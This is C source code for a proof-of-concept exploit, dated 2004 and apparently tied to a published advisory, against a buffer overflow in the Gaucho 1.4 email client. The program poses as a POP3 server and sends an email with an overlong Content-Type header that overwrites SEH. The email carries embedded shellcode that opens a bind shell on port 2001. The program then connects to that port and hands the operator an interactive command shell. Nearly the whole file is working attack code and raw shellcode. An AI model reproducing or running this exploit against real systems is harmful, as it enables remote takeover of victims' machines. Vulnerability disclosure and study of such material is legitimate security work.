//**************************************************************************
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability
// Bind Shell POC Validation Code for English Win2K SP4
// 10 Aug 2004
//
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows 
// platforms.  Gaucho supports SMTP, POP3 and other email delivery protocols.
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving 
// malformed emails from a POP3 server.  This vulnerability is triggered if the 
// POP3 server returns a specially crafted email that has an abnormally long 
// string in the Content-Type field of the email header. This string will
// overwrite EIP via SEH, and can be exploited to execute arbitrary code.
//
// This POC code simulates a POP3 server that sends a specially crafted email 
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable 
// Gaucho email client.
//
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that 
// is suitable for your system.
//
// Advisory 
// https://www.security.org.sg/vuln/gaucho140.html
//
// Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg)
//
//**************************************************************************

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#pragma comment(lib,"ws2_32.lib")

bool tcpInit()
{
  WORD wVersionRequested;
  WSADATA wsaData;
  int err;
 
  wVersionRequested = MAKEWORD( 2, 0 );
 
  err = WSAStartup( wVersionRequested, &wsaData );
  if ( err != 0 ) {
    return false;
  }
  
  if (LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 0 )
  {
    WSACleanup();
    return false;
  }

  return true;
}


SOCKET tcpListen(int port)
{
    SOCKET sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);

  if(sock == INVALID_SOCKET)
    return sock;

  sockaddr_in sin;

  sin.sin_addr.s_addr = htonl(INADDR_ANY);
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);

  if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
  {
    printf("Error in bind().\n");
    closesocket(sock);
    return INVALID_SOCKET;
  }

  if(listen(sock, 5) == SOCKET_ERROR)
  {
    printf("Error in bind().\n");
    closesocket(sock);
    return INVALID_SOCKET;
  }

  return sock;
}


DWORD resolveIP(char *hostName)
{
  hostent *hent;
  char **addresslist;
  DWORD result = 0;

  hent = gethostbyname(hostName);
  if(hent)
  {
    addresslist = hent->h_addr_list;
  
    if (*addresslist) 
    {
      result = *((DWORD *)(*addresslist));
    }
  }

  return result;
}


SOCKET tcpConnect(char *host, int port)
{
    SOCKET sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);

  if(sock == INVALID_SOCKET)
    return sock;

  sockaddr_in sin;

  DWORD ip = resolveIP(host);
  if(ip == 0)
    ip = inet_addr(host);

  sin.sin_addr.s_addr = ip;
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);

    if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
  {
    printf("Connect failed.\n");
    closesocket(sock);
    return INVALID_SOCKET;
  }

  return sock; 
}


void shell(int sockfd)
{
  char buffer[1024];
  fd_set rset;
  FD_ZERO(&rset);

  for(;;)
  {
    if(kbhit() != 0)
    {    
      fgets(buffer, sizeof(buffer) - 2, stdin);
      send(sockfd, buffer, strlen(buffer), 0);
    }

    FD_ZERO(&rset);
    FD_SET(sockfd, &rset);

    timeval tv;
    tv.tv_sec = 0;
    tv.tv_usec = 50;
    
    if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
    {
      printf("select error\n");
      break;
    }
        
    if(FD_ISSET(sockfd, &rset))
    {
      int n;

      ZeroMemory(buffer, sizeof(buffer));
      if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
      {
        printf("EOF\n");
        exit(0);
      }
      else
      {
        fwrite(buffer, 1, n, stdout);
      }
    }
  }
}


#define OK_MSG      "+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.\r\n"
#define STAT_REPLY    "+OK 1 1\r\n"


char UIDL_REPLY[] =
  "1 0123456789012345678901234567890123456789\r\n.\r\n";


unsigned char bindShellEmail[] =
  "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
  "Subject: Testing\r\n"
  "To: a@aaaaaa.xxx\r\n"
  "From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
  "Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
  "MIME-Version: 1.0\r\n"
  "Content-Type: "  
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG"  
  "\x37\x55\x62\x76"    // overwrites EIP via SEH, address of JMP EDI in MPR.dll
              // this address must be carefully chosen due to the filtering that is done
              // on the header messages.

  "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
  "\xEB\x60"          // FIRST jmp lands us here, do a SECOND jmp to land onto shellcode
  "HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  ";"
  "\x90\x90\xEB\x61"      // JMP EDI lands here, do the FIRST jmp here to reach the SECOND jmp
  "set=US-ASCII\r\n"
  "\r\n"
  "\x90\x90"          // shellcode sent in email body to avoid filtering (bindshell on 2001)
  "\xEB\x62\x55\x8B\xEC\x51\x56\x57\x8B\x5D\x08\x8B\x73\x3C\x8B\x74"
  "\x33\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x18\x56\x33\xD2\x8B"
  "\x37\x03\x75\x08\x33\xDB\x33\xC0\xAC\x85\xC0\x74\x09\xC1\xCB\x0C"
  "\xD1\xCB\x03\xD8\xEB\xF0\x3B\x5D\x0C\x74\x0B\x83\xC7\x04\x42\xE2"
  "\xDE\x5E\x33\xC0\xEB\x17\x5E\x8B\x7E\x24\x03\x7D\x08\x66\x8B\x04"
  "\x57\x8B\x7E\x1C\x03\x7D\x08\x8B\x04\x87\x03\x45\x08\x5F\x5E\x59"
  "\x8B\xE5\x5D\xC3\x55\x8B\xEC\x33\xC9\xB1\xC8\x2B\xE1\x32\xC0\x8B"
  "\xFC\xF3\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B"
  "\x58\x08\x89\x5D\xFC\x68\x8E\x4E\x0E\xEC\xFF\x75\xFC\xE8\x70\xFF"
  "\xFF\xFF\x83\xC4\x08\xBB\xAA\xAA\x6C\x6C\xC1\xEB\x10\x53\x68\x33"
  "\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x89\x45\xF8\xEB\x35"
  "\x5E\x8D\x7D\xF4\x33\xC9\xB1\x09\xFF\x36\xFF\x75\xFC\xE8\x40\xFF"
  "\xFF\xFF\x83\xC4\x08\x85\xC0\x75\x0E\x90\xFF\x36\xFF\x75\xF8\xE8"
  "\x2E\xFF\xFF\xFF\x83\xC4\x08\x89\x07\x33\xC0\xB0\x04\x03\xF0\x2B"
  "\xF8\xE2\xD5\xEB\x29\xE8\xC6\xFF\xFF\xFF\x72\xFE\xB3\x16\x35\x54"
  "\x8A\xA1\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED"
  "\xFC\x3B\xEF\xCE\xE0\x60\xE7\x79\xC6\x79\xAD\xD9\x05\xCE\x54\x6A"
  "\x02\xFF\x55\xE0\x33\xC0\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x55"
  "\xE4\x89\x45\xD0\x33\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50"
  "\x8B\xC4\x6A\x10\x50\xFF\x75\xD0\xFF\x55\xE8\x6A\x05\xFF\x75\xD0"
  "\xFF\x55\xEC\x85\xC0\x75\x68\x8B\xCC\x6A\x10\x8B\xDC\x33\xC0\x50"
  "\x50\x53\x51\xFF\x75\xD0\xFF\x55\xF0\x8B\xD0\x5B\x83\xF0\xFF\x74"
  "\x4E\x8B\xFC\x33\xC9\xB1\x64\x33\xC0\xF3\xAA\xC6\x04\x24\x44\x66"
  "\xC7\x44\x24\x2C\x01\x01\x89\x54\x24\x38\x89\x54\x24\x3C\x89\x54"
  "\x24\x40\x8B\xC4\x8D\x58\x44\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51"
  "\x8B\xCC\x52\x53\x53\x50\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51"
  "\x50\xFF\x55\xF4\x5B\x6A\xFF\xFF\x33\xFF\x55\xD4\xFF\x55\xD8\xFF"
  "\x75\xD0\xFF\x55\xD8\x50\xFF\x55\xDC"
  "\r\n"
  ".\r\n";

unsigned char pocEmail[] =
  "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
  "Subject: Testing\r\n"
  "To: a@aaaaaa.xxx\r\n"
  "From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
  "Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
  "MIME-Version: 1.0\r\n"
  "Content-Type: "  
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG"      
  "HHHH"      // overwrites EIP via SEH
  "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "AAAABBBBCCCCDDDDEEEEFFFFGGGGDHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
  "; charset=US-ASCII\r\n"
  "Content-Transfer-Encoding: 7bit\r\n"
  "X-Mailer: Gaucho Version 1.4.0 Build 145\r\n"
  "\r\n"
  "Testing\r\n"
  "\r\n"
  ".\r\n";


void genUIDLreply(char *ptr)
{
  srand(GetTickCount());
  for(int i = 2; i < 42; i++)
  {
    ptr[i] = (rand() % 94) + 0x21;
  }
}

void printUsage(char *filename)
{
  printf("\nUsage: %s <mode>\n\n", filename);
  printf("  Mode can be:\n");
  printf("  1 - POC Crash\n"
       "  2 - Bindshell on Port 2001 (JMP EDI address is hardcoded for Win2K SP4)\n\n");
}

int main(int argc, char* argv[])
{
  printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerability\n");
  if(argc != 2)
  {
    printUsage(argv[0]);
    return 1;
  }

  int mode = atoi(argv[1]);
  if(mode != 1 && mode != 2)
  {
    printf("\nINVALID MODE!\n");
    printUsage(argv[0]);
    return 1;
  }

  if(!tcpInit())
  {
    printf("Cannot start Winsock!\n");
    return 1;
  }
  SOCKET s = tcpListen(110);
  if(s == INVALID_SOCKET)
  {
    printf("Cannot create listening socket!\n");
    return 1;
  }
  printf("Listening on POP3 port 110...\n");
  
  struct sockaddr_in sin;
  int sin_size = sizeof(sin);
  SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0);
  char buffer[1024];
  int recvSize;

  if(client != INVALID_SOCKET)
  {
    // POP3 banner
    send(client, OK_MSG, strlen(OK_MSG), 0);
    recvSize = recv(client, buffer, sizeof(buffer), 0);
    if(recvSize <= 0)
      return 1;      

    fwrite(buffer, recvSize, 1, stdout);

    // OK to USER
    send(client, OK_MSG, strlen(OK_MSG), 0);
    recvSize = recv(client, buffer, sizeof(buffer), 0);
    if(recvSize <= 0)
      return 1;      

    fwrite(buffer, recvSize, 1, stdout);

    // OK to PASS
    send(client, OK_MSG, strlen(OK_MSG), 0);
    recvSize = recv(client, buffer, sizeof(buffer), 0);
    if(recvSize <= 0)
      return 1;      

    fwrite(buffer, recvSize, 1, stdout);

    // REPLY to STAT
    send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
    recvSize = recv(client, buffer, sizeof(buffer), 0);
    if(recvSize <= 0)
      return 1;      

    fwrite(buffer, recvSize, 1, stdout);
    
    // REPLY to UIDL
    genUIDLreply(UIDL_REPLY);
    send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
    send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0);
    recvSize = recv(client, buffer, sizeof(buffer), 0);
    if(recvSize <= 0)
      return 1;      

    fwrite(buffer, recvSize, 1, stdout);

    // REPLY to LIST
    send(client, STAT_REPLY, strlen(STAT_REPLY), 0);    
    recvSize = recv(client, buffer, sizeof(buffer), 0);
    if(recvSize <= 0)
      return 1;      

    fwrite(buffer, recvSize, 1, stdout);

    if(mode == 1)
    {
      // send malicious email
      send(client, (char *)pocEmail, strlen((char *)pocEmail), 0);      
      printf("POC crash email sent...\n");

      recvSize = recv(client, buffer, sizeof(buffer), 0);
      if(recvSize <= 0)
        return 1;      

      fwrite(buffer, recvSize, 1, stdout);
    }
    else
    {
      // send malicious email
      send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0);
      printf("Bindshell email sent.  Sleeping for 2 seconds...\n");
      Sleep(2000);      

      //================================= Connect to the target ==============================
      SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
      if(sock == INVALID_SOCKET)
      {
        printf("Invalid socket return in socket() call.\n");
        WSACleanup();
        return -1;
      }

      sin.sin_family = AF_INET;
      sin.sin_port = htons(2001);      

      if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
      {
        printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
        closesocket(sock);
        WSACleanup();
        return -1;
      }
      
      printf("\n");
      shell(sock);
    }
  }

  return 0;
}